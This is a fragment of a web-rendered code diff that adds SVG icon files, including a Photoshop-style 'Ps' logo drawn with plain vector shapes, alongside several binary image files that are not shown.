c-8.859,16.497-26.884,26.884-48.574,26.884c-35.438,0-63.543-30.244-63.543-76.068c-0.306-49.796,30.855-79.429,66.599-79.429 c20.468,0,35.132,8.554,41.853,19.552h0.611V140H366.013z M328.438,270.142c0-3.055-0.306-6.721-0.917-9.776 c-3.36-14.664-15.274-26.578-32.383-26.578c-24.134,0-37.575,21.384-37.575,49.185c0,27.188,13.441,47.046,37.271,47.046 c15.274,0,28.716-10.387,32.382-26.578c0.917-3.36,1.223-7.026,1.223-10.998V270.142z" fill="#EB43A3"/></g></g></svg>
|
||||
|
After Width: | Height: | Size: 1.4 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 22 KiB |
|
|
@ -0,0 +1 @@
|
|||
<?xml version="1.0" ?><!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN' 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'><svg enable-background="new 0 0 512 512" height="512px" id="Photoshop_1_" version="1.1" viewBox="0 0 512 512" width="512px" xml:space="preserve" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g id="Frame"><g><rect fill="#7EBCF9" height="486.004" width="499.004" x="6.998" y="11.998"/></g></g><g id="Background"><g><rect fill="#30267E" height="407.969" width="421.987" x="45.008" y="51.016"/></g></g><g id="Shadow2" opacity="0.302"><g><polygon points="376,214 316,231 239,159 153,168 150,246 130,357 292,459 467,459 467,281 "/></g></g><g id="Shadow_1_" opacity="0.302"><g><rect height="13.998" width="421.987" x="45.008" y="51.001"/></g></g><g id="Ps"><g><path d="M129.935,153.748c13.441-2.444,32.077-4.277,57.433-4.277c27.495,0,47.657,5.805,60.794,16.802 c12.219,10.082,20.163,26.273,20.163,45.519c0,19.552-6.11,35.743-17.719,46.741c-14.969,14.97-38.493,21.996-65.071,21.996 c-7.026,0-13.442-0.306-18.33-1.222v77.596h-37.271V153.748z M167.205,249.673c4.582,1.222,10.692,1.527,18.33,1.527 c28.105,0,45.213-13.748,45.213-37.881c0-22.913-15.886-35.132-41.853-35.132c-10.387,0-17.719,0.917-21.69,1.833V249.673z" fill="#7EBCF9"/><path d="M285.124,322.381c8.554,5.194,24.745,10.692,38.187,10.692c16.497,0,23.829-6.721,23.829-16.496 c0-10.082-6.11-15.275-24.439-21.69c-29.022-10.081-41.242-25.968-40.937-43.38c0-26.273,21.689-46.741,56.211-46.741 c16.497,0,30.855,4.277,39.409,8.859l-7.332,26.578c-6.415-3.666-18.33-8.554-31.466-8.554c-13.442,0-20.774,6.416-20.774,15.58 c0,9.47,7.026,14.053,25.968,20.774c26.884,9.776,39.409,23.523,39.714,45.519c0,26.884-21.079,46.436-60.488,46.436 c-18.023,0-34.215-4.276-45.213-10.387L285.124,322.381z" fill="#7EBCF9"/></g></g></svg>
|
||||
|
After Width: | Height: | Size: 1.8 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 70 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 19 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 18 KiB |
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue